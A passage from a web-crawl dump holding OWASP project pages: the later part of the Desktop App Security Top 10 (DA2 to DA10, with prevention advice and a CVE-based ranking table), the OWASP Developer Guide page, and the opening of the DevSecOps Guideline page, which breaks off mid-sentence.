layer authentication or they inherit Authentication of Windows / *nix OS or sometimes they intake authentication from external things like RFID Authentication cards / USB Keys etc. or sometimes they explicitly do not ask authentication just relying upon platform security.\nIssues such as insecure authentication implementation, authentication bypass, improper session, etc. falls into this vulnerability category. An attacker can exploit insecure implementation in order to compromise user sessions, credentials and keys or to assume the identity of the user of the application.\nTaking example of desktop apps which are deployed to be used by public users e.g. ticketing kiosk / dispensers / tourist information kiosk etc., such systems might miss out implementing authentication properly or some emergency devices like in medical systems, where authentication is considered a little relaxed, if it comes at risk to patient life while performing a treatment or power plants, production line, law enforcement system apps etc..\n\n### Exploitability Rational:\n\nSince a desktop may be used under multiple situations, it might need an attacker to login or sometimes a guest user like a public kiosk with physical access.\n\n### Impact:\n\nIt may end up in a successful unauthorized data access or entire system compromise.\n\n### Prevention:\n\n- Industrial Standard recommendations like invalidating session upon inactivity, having short session life time, session entropy, etc. can prevent improper session management.\n- In the case of external Authentication hardware (like RFID/USB key etc.) is being used, accepting a dynamic user challenge code in the form of PIN/password as 2nd factor of Authentication. So in case such a device is lost, it cannot be misused.\n- Implementing proper Authentication across all of services/UI interface/shared drives etc.\n\n# DA3 - Sensitive Data Exposure\n\n### Description:\n\nUnintentional exposure of sensitive information such as PII, application keys and secrets, financial / personal / healthcare information, etc would be classified as sensitive data exposure. An attacker can use this information to carry out frauds like data, identity, financial theft, etc.\nMany Desktop apps tend to save sensitive information like encryption keys/connection string etc. in hardcoded form inside app binaries (executables, dll, config files, etc.) or sometimes within comments and then forget to remove them. \nIt may also happen that desktop apps process any form of sensitive information like PII/Financial records/documents etc., but they do not have data encryption in place, this may lead unauthorized person to access such information in cleartext. Ideally drive level encryption and application layer encryption for data at rest is required.\nIn case if the system which runs the desktop app is poorly configured, it may allow dumping memory of a process. In case if post app logout/session expiry memory dump contains sensitive information, it would cause loss of data confidentiality violation. Depending upon language/platform garbage collector recycles stale memory, however upon explicit logout or after use sensitive data should be freed.\n\n### Exploitability Rational:\n\nSince a desktop may be used under multiple situations, it might need an user to login or sometimes a guest user like a public kiosk with physical access.\nSuppose hardcoded keys are identified by an attacker, this would leave all possible installations in vulnerable condition, since they would use the same installer which had hardcoded value.\n\n### Impact:\n\nIt may end up in a successful unauthorized data access within a system or having such hardcoded keys someone can either decrypt the ciphers or bypass validations across all systems using the key-values.\n\n### Prevention:\n\n- Industrial Standard recommendations like using drive/partition level encryption for *nix/Windows hosts and have application layer encryption with proper key management scheme in place.\n- Using a Password Based Key Derivation function can be a good solution here.\n- Deriving Secured-Random numbers to generate keys on runtime/first time installation & there by avoiding hardcoding items.\n- If using a filesystem to save sensitive information, it needs to be done with proper role based access control plus properly implemented cryptography in place (Hashing, Salting, Encryption with Proper Key Management).\n- For unauthorized person, preventing access to process memory and clearing memory immediately post session expiry.\n\n# DA4 - Improper Cryptography Usage\n\n### Description:\n\nImproper Cryptography usage, may it be because of Outdated Cryptographic Algorithms or Weak Keys, Inappropriate usage of Cryptographic Functions, reuse of Cryptographic Parameters across all Installations, Improper usage of Cryptography for Integrity check, etc.\nChoosing an incorrect form of Cryptographic Function may also cause problems, like using encryption instead of hashing (e.g. passwords storage, de-identification purpose, etc.) or improper management of key storage will cause serious risks. Many times custom made cryptographic functions are used, even when accepted industrial standards are available, which may open threats.\n\n### Exploitability Rational:\n\nIf libraries with support for old/obsolete cryptographic functions are used, choosing weak keys, sometimes an attacker can downgrade and exploit to perform cryptanalysis, etc. All such use cases would allow an attacker to brute force or use common techniques for cryptanalysis.\n\n### Impact:\n\nPrimarily it may be a violation of data confidentiality or integrity, since via exploitation an attacker can retrieve sensitive information or can tamper with data.\n\n### Prevention:\n\n- Using the latest and industrial standard Cryptographic algorithms and functions.\n- Using Proper key length, avoiding weak keys, choosing proper mode of operation and salt value.\n- Choosing Proper way of applying cryptographic functions, e.g. choosing hash functions for the need of 1 way data operations like password storage, choosing salt to prevent ready made dictionary attacks.\n- Using Secure Random function to generate any value used by cryptographic functions like salt/IV/auto generated keys etc.\n- Usage of hash/symmetric/asymmetric key crypto system where required i.e. in scenario of data integrity (i.e. code signing/CRC/HMAC) or Authentication (e.g. digital certificate/HMAC) or data confidentiality (e.g. HTTPS or encryption at rest)\n\n# DA5 - Improper Authorization\n\n### Description:\n\nAuthorization flaws include weak file/folder permission per user role, missing principle of least privilege approach, improper user roles, unauthorized registry or environment variables access, etc. Below are some most common vulnerabilities:\n\n- Application or supporting services running on systems with higher privileges than required, such as root on *nix operating system and administrator on Windows operating system. If this service is compromised, an attacker directly gets full privilege access to the entire system.\n- Binary of the application with setuid/setgid permission for *nix.\n- Having an application directory with read/write access to low privileged users. For instance configuration files saved in public directories or configuration files with write access to other users (xx7) permissions on linux operating system or read-write-execute for everyone/non-admin in Windows. Similarly, executable files with write permission for low privileged users allows replacing legitimate files with malicious executable containing shellcode to perform privilege escalation. It might also happen that some sensitive information is saved within files and read permission instead of only admin, has been given to everyone.\n- Having Write access to registry values used by applications on Windows operating systems for low privileged users. Sometimes apps are made which save security settings within the registry, if these registry keys can be tampered by a limited user it may impose threat. (e.g. data loss prevention, anti-virus, unwanted script blocking apps etc. prevent configuration alterations by using registry/group policies. If they have written configuration with weak permission, anyone with limited privilege role can easily bypass it)\n\n### Exploitability Rational:\n\nHaving limited access to the system/app, an attacker can try exploiting the mentioned mis-configuration to gain privileged access. It might be possible to exploit this with system local access or remotely as well based on a few limited scenarios.\n\n### Impact:\n\nImproper authorization vulnerabilities will enable the attacker to escalate the privilege on the target system/app. After escalating the privilege an attacker can attack systems on the network, other users on the compromised system. Upon having system full privileged access, one can steal data or tamper with it causing loss of CIA. Exploitation can also be used to bypass various restrictions.\n\n### Prevention:\n\n- Configuring the application to run at the lowest possible privilege.\n- Avoiding setting setuid/setgid permission for the binary of the application.\n- Configuring the read/write permission for application directory or files of the application to the privileged or required user role only\n- Restricting read/write access of the registry values / configuration / log files to the user required for the operation.\n\n# DA6 - Security Misconfiguration\n\n### Description:\n\nFlaws include misconfigured group policies / registry / firewall rules etc., missing file type/content check for file processing apps, misconfigured named-pipes, misconfigured supporting services used by the application, misconfigured third party services (SQL, AD, etc). An attacker can gain system access by exploiting these flaws. Security configuration issues spans across\n\n- Application using misconfigured named-pipes for interprocess communication\n- Application using background service misconfigured due to unquoted path in conjunction with weak folder permissions\n- Applications using third-party services such as message queues, database services, etc. with default credentials, insecure access control, etc.\n- Application having file upload features to support creation of entities but without file-type/content checking or applications which processes configuration files/data with misconfigured parsers, etc.\n- Certain Windows applications rely on registry / group policies for security controls. However, there could be multiple misconfiguration chances, which leaves such applications vulnerable. For instance antivirus/Data loss prevention tools/device management tools etc., most cases they are restricted from uninstallation or tampering with configuration, despite having local admin users using group policies or registry. Since such exploitations are attempted by trusted insiders, hence an additional layer of security is required here to follow zero trust.\n- Sometimes few apps are configured to serve API, web access, network shares, services, etc. only within the same machine, despite being connected over the network via firewall or source IP filtering rules etc. Misconfigurations in them expose such interfaces over the network and increase attack surface.\n\n### Exploitability Rational:\n\nSince a desktop may be used under multiple situations, it might need an user to login or sometimes a guest user like a public kiosk with physical access. Exploiting security misconfigurations can be simple sometimes, as it might be enforced only through obscurity. And sometimes it may also happen that the attacker can be a trusted insider.\n\n### Impact:\n\nAn attacker can bypass restrictions & hence run arbitrary code by abusing misconfigured features or even escalate privilege on the system running the target application.\n\n### Prevention:\n\n- Named pipes with lowest possible privilege to carry out the communication and operation.\n- Hardened supporting background process & third-party services\n- Hardened/Defused file parser, File type/content validations\n- Configuring proper firewall rules, group policies, registries, etc.\n\n# DA7 - Insecure Communication\n\n### Description:\n\nWhen any Application needs to communicate with the remote services such as remote SQL servers, web services, file transfer, sending commands or any other process running on the remote server, but uses plaintext communication protocols to consume services, such vulnerabilities fall under Insecure Communication. Insecure communication issues include usage of plaintext communication protocols such as FTP, TELNET, HTTP, MQTT, WS, etc. or usage of weak TLS/DTLS cipher-suites/protocols, plaintext database connections, using self signed certificates for secure channel communication, etc. These flaws allow an attacker to perform Man-in-The-Middle (MiTM) attacks in order to sniff and manipulate the data of an active connection.\n\n### Exploitability Rational:\n\nAn attacker present within the network can access the communication via MiTM attack. If it is already unencrypted, it becomes easier to sniff confidential information or replay packets. Otherwise in case of weak encryption communication, an attacker can downgrade the connection and thereby sniff the traffic.\n\n### Impact:\n\nAn attacker can retrieve user credentials, service credentials, communication strings, user session information by sniffing the communication between the application and remote service. Moreover, an attacker can manipulate or replay an active communication by carrying out a MiTM attack.\n\n### Prevention:\n\n- Risk of insecure communication can be mitigated by using secure version of the protocols such as HTTPS instead of HTTP, WSS instead of WS, SFTP instead of FTP, SSH instead of TELNET, etc.\n- Disabling obsolete protocols and cipher-suits responsible for encrypted communication.\n- Encrypted SQL connections\n- Implementing tunnels for plaintext protocols for ex SSH tunnel, IPSec, etc.\n- Using CA signed certificate and not using self signed certificate.\n\n# DA8 - Poor Code Quality\n\n### Description:\n\nApplication build without following secure code practices. Issues such as but not limited to:\n\n- Presence of dead code or test data in release build\n- Poor memory management\n- Lack of binary protection\n- Unobfuscated code\n- Missing code signing and verification\n\n### Exploitability Rational:\n\nAn attacker needs access to the binary or installer of the target application. Subject to the kind of language used i.e. managed or unmanaged, reverse engineering may yield either assembly level or original source code equivalent. And in absence of code integrity, it may allow an attacker to run arbitrary code.\n\n### Impact:\n\nAn attacker can reverse engineer the application and can glean information about the application logic, business proprietary logic, secrets used in the application. Bypass certain restrictions using run time debugging e.g. bypassing license check. It may also allow execution of malware in place of legitimate code or may help in privilege escalation.\n\n### Prevention:\n\n- Following secure coding practices, using SAST tools to detect security issues at an early stage of development\n- Removing unused, dead code, test environment details. Following best practice for code comment, clean code approach.\n- Using TPM/HSM or any other secure platforms to store the secrets, keys, etc.\n- Obfuscating the code (however, this is considered as partial solution)\n- Implementing protection mechanism via ASLR, DEP, validating length of data entering the buffers, preventing memory leaks, out of band leakage, etc.\n- Implementing detection of code tampering via code signing and verification, detecting hooking of debuggers thereby preventing runtime debugging, etc.\n\n# DA9 - Using Components with Known Vulnerabilities\n\n### Description:\n\nEither any component/service offered by the underlying OS or an external 3rd party component which had a publicly known vulnerability (with/without exploit available), will impose very high risk on the products/assets. As part of the product life cycle any such affected component would be complemented with a security patch or newer version of that component. Some of them are automated, where the end-user doesn’t have to bother about it, however sometimes manually patching is required due to various reasons. Third party components are the reusable software components generally used to save time and budget, while developing any product/solution. There are two categories of third party components:\n\n1. Open Source Components:\n These components are maintained by the open source community and the release of updates/patches for the components may/may not be in a timely manner.\n2. Commercial Components:\nThese components are maintained by the third party vendors and updates are frequently released based on the business model. Patches are released generally at a fixed interval of time or immediately for some critical issues.\n\nUsing any of the above kinds of components can introduce new vulnerabilities and attack surfaces. It is necessary for the developers of the application to patch the discovered vulnerability in the open source components and use the latest/patched version of commercial components.\n\n### Exploitability Rational:\n\nAn attacker needs to know the vulnerable component version, which is being used within the product, thereby allowing it to exploit based on the public available details.\nIt may also happen that there can be transitive dependencies, for instance in your product ‘A’ you may be using 3rd party product/component ‘B’, in turn product ‘B’ uses another 3rd party product/component ‘C’. If a vulnerability within product ‘C’ is disclosed, by default product ‘A’ is vulnerable as it inherits via using component ‘B’.\n\n### Impact:\n\nAn attacker can exploit the publicly disclosed vulnerability in the OS offered/third party component in order to take over the system running the application, cause loss of data confidentiality/integrity or even may cause service unavailability depending upon the kind of exploit published.\n\n### Prevention:\n\n- Use Proprietary components with the latest update/patch.\n- Only use open source components which are actively maintained by the open source community\n- Check for the disclosed vulnerabilities using vulnerability databases like NVD, MITRE, etc. periodically and apply stable patches upon release by the vendor.\n- Identifying SBOM (Software bill of materials) i.e. keeping track of all individual components being used within the product (while in the development phase itself), which can be handy when any exploit is published.\n\n# DA10 - Insufficient Logging & Monitoring\n\n### Description:\n\nLogging of the user operations, background tasks, etc are considered as important aspects of any application. As it records all the activities performed within the context of the application. Logging enables the application to resolve runtime functional errors and monitor the activities of the user for auditing purposes. \nThere are different kinds of log such as\n\n1. Application logs - Records functional or operational logs.\n2. Debug logs - Application generated logs used by developers of the application to debug the errors and runtime exceptions.\n3. Audit logs - Logs recording information of an event. Log entry consists of\n 1. Date and timestamp\n 2. Operation performed or resource accessed\n 3. User who performed the operation\n 4. Source & destination address of the operation.\n Only admin/designated users of the system/application must be authorized to configure and access logs.\n\nIn addition, a monitoring mechanism will use logs and enable the owner of the application to receive alerts like:\n\n- Identifying security attacks\n- Identifying compliance violation\n- Unusual behaviors such as authentication failures, authorization failures, input validation failures, etc.\n\nCommon Logging and Monitoring issues comprise of:\n\n- Many times developers, to understand what went wrong, put everything in logs which may log sensitive data such as PII, login credentials, encryption keys, tokens, etc.\n- Storing logs in public folders with world read/writable permissions\n- Non-admin users can access and update the audit logs.\n- Using values supplied by the end-user within Audit trail e.g. IP address, username, timestamp, etc. from request are used. Or sometimes intaking parameters from the user, which can in turn inject values within the Audit trail, making it look like a legitimate entry.\n- Absence of the monitoring mechanism.\n- Insecure baseline configurations/rules for alerts.\n\n### Exploitability Rational:\n\nSince a desktop may be used under multiple situations, it might need an user to login or sometimes a guest user like a public kiosk with physical access.\n\n### Impact:\n\nLogging allows us to track the operations performed within the context of the application. It is very useful to detect/analyze any occurrence of the incident. Without a secure & robust logging mechanism, it will be easier for an attacker to manipulate the logs in order to cover tracks of the operation performed. Inappropriate or weak monitoring mechanisms will fail to detect an attack in real time and will not allow the owner of the application to take appropriate action to prevent the attack.\n\n### Prevention:\n\n- Avoid access to logs for common end users (neither read/write), unless required.\n- Periodically monitor logs to identify suspicious activities.\n- Do not intake user supplied parameters inside logs, in case if required sanitize the input and only allow in predefined places.\n- Implement and configure robust alert/escalation mechanisms to detect the attacks.\n\n---\n\n# OWASP Top 10 Desktop Application Security Risks (2021) | Ranking based on severity and frequency of CVE\n\nThere are many CVEs identified that do not require user interaction and any privilege. Based on the number of CVEs found and severity of such issues, following is the ranking of OWASP Top 10 Desktop Application vulnerabilities.\n\nNote: Let’s call the Critical/High vulnerabilities with no privilege requried and minimal user interaction as ‘OneClick’.\n\n| Category | One Click | Critical | High | Medium | Low |\n| --- | --- | --- | --- | --- | --- |\n| DA1 - Injections | 40 | 33 | 60 | 122 | 3 |\n| DA8 - Poor Code Quality | 32 | 11 | 120 | 62 | 3 |\n| DA5 - Improper Authorization | 32 | 11 | 100 | 55 | 2 |\n| DA6 - Security Misconfiguration | 30 | 10 | 36 | 22 | 0 |\n| DA2 - Broken Authentication & Session Management | 19 | 14 | 14 | 12 | 0 |\n| DA4 - Improper Cryptography Usage | 10 | 1 | 13 | 10 | 0 |\n| DA3 - Sensitive Data Exposure | 8 | 4 | 10 | 19 | 0 |\n| DA7 - Insecure Communication | 4 | 0 | 4 | 3 | 0 |\n| DA10 - Insufficient Logging & Monitoring | 4 | 0 | 4 | 2 | 1 |\n| DA9 - Using Components with Known Vulnerabilities | 0 | 0 | 0 | 0 | 0 |\n\nNote:\n\n1. This ranking is based on the data accumulated from CVEs by an automated process, having certain keywords and excluding certain keywords to assure that the CVEs found are related to desktop applications.\n2. Category ‘DA9 - Using Components with Known Vulnerabilities’ have zero matching CVEs in the above table, because all such vulnerabilities that include vulnerable components have their own CVEs assigned to them, that are matching to other categories.\n\nThe data accumated is of year 2023 till August 12th.\n\n---\n\n[Watch](https://github.com/owasp/www-project-desktop-app-security-top-10/subscription) [Star](https://github.com/owasp/www-project-desktop-app-security-top-10)", "znaku_textu": 31206, "slov": 4534, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:56:04", "sha256": "5b274ecb0b7520d7a6a9a1bfd7d42fcd93463f2dcbec5d8176db1dc7ed418c38", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-desktop-app-security-top-10/subscription", "https://github.com/owasp/www-project-desktop-app-security-top-10", "https://github.com/OWASP/www-project-desktop-app-security-top-10/blob/main/LICENSE", "https://github.com/OWASP/www-project-desktop-app-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-developer-guide/", "titulek": "OWASP Developer Guide | OWASP Foundation", "h1": "OWASP Developer Guide", "popis": "The Developer Guide provides an introduction to security concepts and an initial reference for application and system developers.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-developer-guide/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The Developer Guide provides an introduction to security concepts and an initial reference for application and system developers.", "og:title": "OWASP Developer Guide | OWASP Foundation", "og:url": "https://owasp.org/www-project-developer-guide/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Developer Guide"}, {"uroven": 2, "text": "History"}, {"uroven": 2, "text": "Contributing"}, {"uroven": 2, "text": "Contributing to the Developer Guide"}, {"uroven": 2, "text": "Translations the Developer Guide"}, {"uroven": 2, "text": "History of the Developer Guide"}, {"uroven": 3, "text": "Previous versions"}, {"uroven": 4, "text": "Developer Guide 3.0 (abandoned April 2021)"}, {"uroven": 4, "text": "Developer Guide 2010 (abandoned)"}, {"uroven": 4, "text": "Developer Guide 2.0.1 (July 2005)"}, {"uroven": 4, "text": "Developer Guide 2.0 (July 2005)"}, {"uroven": 4, "text": "Developer Guide 1.1.1 (September 2002)"}, {"uroven": 4, "text": "Developer Guide 1.1 (September 2002)"}, {"uroven": 4, "text": "Developer Guide 1.0 (June 2002)"}], "markdown": "# OWASP Developer Guide\n\nThe [OWASP Developer Guide](https://devguide.owasp.org/) provides an introduction to security concepts\nand an initial reference for application and system developers.\n\nThis guide does not seek to replicate the many excellent sources on specific security topics;\nit rarely tries to go into detail on a subject and instead provides links for greater depth on these security topics.\n\nThe content of the Developer Guide aims to be accessible, introducing practical security concepts\nand providing enough detail to get developers started on various OWASP tools and documents.\n\nThe expected audience of the Developer Guide is application developers working in various domains\nsuch as web, desktop, mobile, API and cloud.\n\n## History\n\nAlong with the OWASP Top Ten, the Developer Guide is one of the original resources\npublished soon after OWASP was formed in 2001.\nVersion 1.0 of the Developer Guide was released in 2002\nand then there were various [updates](https://github.com/OWASP/DevGuide/wiki#old-versions) culminating in version 2.0 in 2005.\nAfter discussions and iterations throughout 2023 and 2024, the Developer Guide has now been updated\nfor the modern security landscape using contributions from the wider application security community.\n\nPeriodically the Developer Guide is versioned and the contents promoted to the [release area](https://github.com/OWASP/DevGuide/releases) of the repository.\n\n## Contributing\n\nContributions and suggestions are all welcome, we just ask that you follow our [code of conduct](https://github.com/OWASP/DevGuide/blob/main/code_of_conduct.md)\nand read the [contributing guidelines](https://github.com/OWASP/DevGuide/blob/main/contributing.md) which provide style and document structure suggestions.\nWe also welcome [new issues](https://github.com/OWASP/DevGuide/issues/new/choose), changes via a [pull request](https://github.com/OWASP/DevGuide/pulls)\nand discussions in the [project wiki](https://github.com/OWASP/www-project-developer-guide/wiki) and the [repo wiki](https://github.com/OWASP/www-project-developer-guide/wiki).\n\nThe easiest way to get in contact with the development community for this documentation project\nis via the OWASP Slack [#project-developer-guide](https://owasp.slack.com/messages/C04QN6CMNAC) project channel (you may need to [subscribe](https://owasp.org/slack/invite) first).\n\n---\n\nOWASP DevGuide: *accessible security for developers*\n\n---\n\n## Contributing to the Developer Guide\n\nThe OWASP Developer Guide is first and foremost a guide for development teams,\nand is intended to be an initial reference that enables teams to find application security tools and documentation.\nThe Developer Guide does not seek to replicate the various projects and resources already available,\nsuch as OWASP ASVS or WSTG, but provides basic introductions to software security;\nreferencing other projects for a more in depth or advanced treatment of the subjects.\n\nThe Developer Guide is a community effort with a diverse and wide range of contributors\nfrom across the whole software security field.\nThere are various areas of the guide that need content; please contribute where you can.\nIf you feel a section is missing then suggest changes to the structure in a [feature request](https://github.com/OWASP/DevGuide/issues/new/choose).\n\nBe sure to follow our [code of conduct](https://github.com/OWASP/DevGuide/blob/main/code_of_conduct.md) and the [contributing guidelines](https://github.com/OWASP/DevGuide/blob/main/contributing.md)\nwhich provide style and document structure suggestions.\n\n---\n\nOWASP DevGuide: *accessible security for developers*\n\n---\n\n## Translations the Developer Guide\n\nThe OWASP [Developer Guide](https://devguide.owasp.org/) aims to be accessible,\nand translations help to make is a useful resource for the global AppSec community.\n\nThe English (US) language version is the source for all the translations;\nthe latest version can be found in the [DevGuide](https://github.com/OWASP/DevGuide/tree/main/docs) repository.\n\nAs of January 2026 there are multiple translations in progress:\n\n- [Spanish](https://devguide.owasp.org/es/) lead translator [Roxana Calderon](https://github.com/roxana-calderon-owasp)\n- [Brazilian Portuguese](https://devguide.owasp.org/pt-br/) lead translator [Amauri Bizerra](https://github.com/extern-c)\n- [Farsi](https://devguide.owasp.org/fa/) lead translator [Ali Reza](https://github.com/alirezakkt)\n\nIf you can help with these translations then please contact the lead translator or the DevGuide [project leaders](https://github.com/OWASP/www-project-developer-guide/blob/main/leaders.md).\n\n---\n\nOWASP DevGuide: *accessible security for developers*\n\n---\n\n## History of the Developer Guide\n\nThe OWASP Developer Guide is the original OWASP project.\nIt was first published in 2002 under the title ‘A Guide to Building Secure Web Applications and Web Services’.\nSince then, the web has come a long way.\nUnfortunately, the original Developer Guide never really took off with the intended audience: developers.\nThe original guide was more of a ‘how to perform a web application penetration test’,\nmaterial now better covered in the OWASP [Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/).\n\nThe developer guide has gone through several iterations since then and is now at [version 4.x](https://devguide.owasp.org/).\nThis version does not seek to be a comprehensive and authoritative text;\nrather think of it as a text-based [Wayfinder Guide](https://owasp.org/www-project-integration-standards/) to security projects and salient concepts,\nor a bit like a ‘Lonely Planet’ guide to AppSec for developers.\n\n### Previous versions\n\nCollected here are the previous versions of the OWASP Developer Guide that can still be accessed.\nOWASP has a podcast on [The History of the OWASP Developer Guide](https://www.youtube.com/watch?v=niqV55vPTfw)\nwhich discusses the history and future of the project.\n\n#### [Developer Guide 3.0](https://github.com/OWASP/DevGuide/tree/3.0/DevGuide3.0) (abandoned April 2021)\n\n- English [Word](https://github.com/OWASP/DevGuide/blob/3.0-final/old/OWASP%20Guide%203.0.docx)\n\n#### Developer Guide 2010 (abandoned)\n\n#### [Developer Guide 2.0.1](https://github.com/OWASP/DevGuide/tree/dc5a2977a4797d9b98486417a5527b9f15d8a251/DevGuide2.0.1) (July 2005)\n\n- English [Word](https://github.com/OWASP/DevGuide/tree/dc5a2977a4797d9b98486417a5527b9f15d8a251/DevGuide2.0.1)\n\n#### [Developer Guide 2.0](https://github.com/OWASP/DevGuide/tree/382fe2bc834beaf9dd50fc195e09329be6f7116f/DevGuide2.0) (July 2005)\n\n- English [Word](https://github.com/OWASP/DevGuide/tree/382fe2bc834beaf9dd50fc195e09329be6f7116f/DevGuide2.0)\n\n#### [Developer Guide 1.1.1](https://github.com/OWASP/DevGuide/tree/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1) (September 2002)\n\n- English [PDF](https://github.com/OWASP/DevGuide/blob/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1/OWASPGuideV1.1.1.pdf)\n- Japanese [Word](https://github.com/OWASP/DevGuide/blob/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1/OWASPGuideV1.1.1-jp.doc) and [PDF](https://github.com/OWASP/DevGuide/blob/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1/OWASPGuideV1.1.1-jp.pdf)\n\n#### [Developer Guide 1.1](https://github.com/OWASP/DevGuide/tree/22228a88e380ca4b0b88cbb959b32a11174263cd/DevGuide1.1) (September 2002)\n\n- English [PDF](https://github.com/OWASP/DevGuide/blob/22228a88e380ca4b0b88cbb959b32a11174263cd/DevGuide1.1/OWASPBuildingSecureWebApplicationsAndWebServices-V1.1.pdf)\n\n#### [Developer Guide 1.0](https://github.com/OWASP/DevGuide/tree/1d24d140de3724b6f95655e53b8d0cc6689fbfd8/DevGuide1.0) (June 2002)\n\n- English [PDF](https://github.com/OWASP/DevGuide/blob/1d24d140de3724b6f95655e53b8d0cc6689fbfd8/DevGuide1.0/OWASPBuildingSecureWebApplicationsAndWebServices-V1.0.pdf)\n\nWe are still looking for the original Word documents for versions 1.x (1.0, 1.1 and 1.1.1),\nif you have any of these then please get in touch.\n\nIn addition if you have documents for versions 0.1, 0.2 and 0.3 then it would be great to have these historical records.\nPlease get in touch with the [project leaders](https://github.com/OWASP/www-project-developer-guide/blob/main/leaders.md) if you have any of these.\n\n---\n\nOWASP DevGuide: *accessible security for developers*\n\n---\n\n[Watch](https://github.com/owasp/www-project-developer-guide/subscription) [Star](https://github.com/owasp/www-project-developer-guide)", "znaku_textu": 8324, "slov": 877, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:41:41", "sha256": "5d63b483b8a191e8d66ecfd44236842e90ae3a8a9caf2d783133bc0ed2df4405", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://devguide.owasp.org/", "https://github.com/OWASP/DevGuide/wiki", "https://github.com/OWASP/DevGuide/releases", "https://github.com/OWASP/DevGuide/blob/main/code_of_conduct.md", "https://github.com/OWASP/DevGuide/blob/main/contributing.md", "https://github.com/OWASP/DevGuide/issues/new/choose", "https://github.com/OWASP/DevGuide/pulls", "https://github.com/OWASP/www-project-developer-guide/wiki", "https://owasp.slack.com/messages/C04QN6CMNAC", "https://github.com/OWASP/DevGuide/tree/main/docs", "https://devguide.owasp.org/es/", "https://github.com/roxana-calderon-owasp", "https://devguide.owasp.org/pt-br/", "https://github.com/extern-c", "https://devguide.owasp.org/fa/", "https://github.com/alirezakkt", "https://github.com/OWASP/www-project-developer-guide/blob/main/leaders.md", "https://www.youtube.com/watch?v=niqV55vPTfw", "https://github.com/OWASP/DevGuide/tree/3.0/DevGuide3.0", "https://github.com/OWASP/DevGuide/blob/3.0-final/old/OWASP%20Guide%203.0.docx", "https://github.com/OWASP/DevGuide/tree/dc5a2977a4797d9b98486417a5527b9f15d8a251/DevGuide2.0.1", "https://github.com/OWASP/DevGuide/tree/382fe2bc834beaf9dd50fc195e09329be6f7116f/DevGuide2.0", "https://github.com/OWASP/DevGuide/tree/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1", "https://github.com/OWASP/DevGuide/blob/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1/OWASPGuideV1.1.1.pdf", "https://github.com/OWASP/DevGuide/blob/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1/OWASPGuideV1.1.1-jp.doc", "https://github.com/OWASP/DevGuide/blob/71dfba584c0b11443b19a6caf47b9f1adc641679/DevGuide1.1.1/OWASPGuideV1.1.1-jp.pdf", "https://github.com/OWASP/DevGuide/tree/22228a88e380ca4b0b88cbb959b32a11174263cd/DevGuide1.1", "https://github.com/OWASP/DevGuide/blob/22228a88e380ca4b0b88cbb959b32a11174263cd/DevGuide1.1/OWASPBuildingSecureWebApplicationsAndWebServices-V1.1.pdf", "https://github.com/OWASP/DevGuide/tree/1d24d140de3724b6f95655e53b8d0cc6689fbfd8/DevGuide1.0", "https://github.com/OWASP/DevGuide/blob/1d24d140de3724b6f95655e53b8d0cc6689fbfd8/DevGuide1.0/OWASPBuildingSecureWebApplicationsAndWebServices-V1.0.pdf", "https://github.com/owasp/www-project-developer-guide/subscription", "https://github.com/owasp/www-project-developer-guide", "https://github.com/OWASP/DevGuide/releases/latest/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/OWASP/DevGuide", "https://www.bestpractices.dev/en/projects/9373", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/", "titulek": "OWASP DevSecOps Guideline | OWASP Foundation", "h1": "OWASP DevSecOps Guideline", "popis": "The OWASP DevSecOps Guideline can help us to embeding security as a part of pipeline.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP DevSecOps Guideline can help us to embeding security as a part of pipeline.", "og:title": "OWASP DevSecOps Guideline | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline"}, {"uroven": 3, "text": "Initial steps:"}, {"uroven": 2, "text": "Latest"}, {"uroven": 3, "text": "Contributions"}, {"uroven": 2, "text": "Contributing"}], "markdown": "# OWASP DevSecOps Guideline\n\nThe OWASP DevSecOps Guideline explains how we can implement a secure pipeline and use best practices and introduce tools that we can use in this matter. Also, the project is trying to help us promote the shift-left security culture in our development process.\nThis project helps any companies of each size that have a development pipeline or, in other words, have a DevOps pipeline. We try to draw a perspective of a secure DevOps pipeline during this project and then improve it based on our customized requirements.\n\nThe Ideal goal is “detect security issues (by design or application vulnerability) as fast as possible.”\n\n### Initial steps:\n\nAt first, we consider to implement the following steps in a basic pipeline:\n\n- Scan git 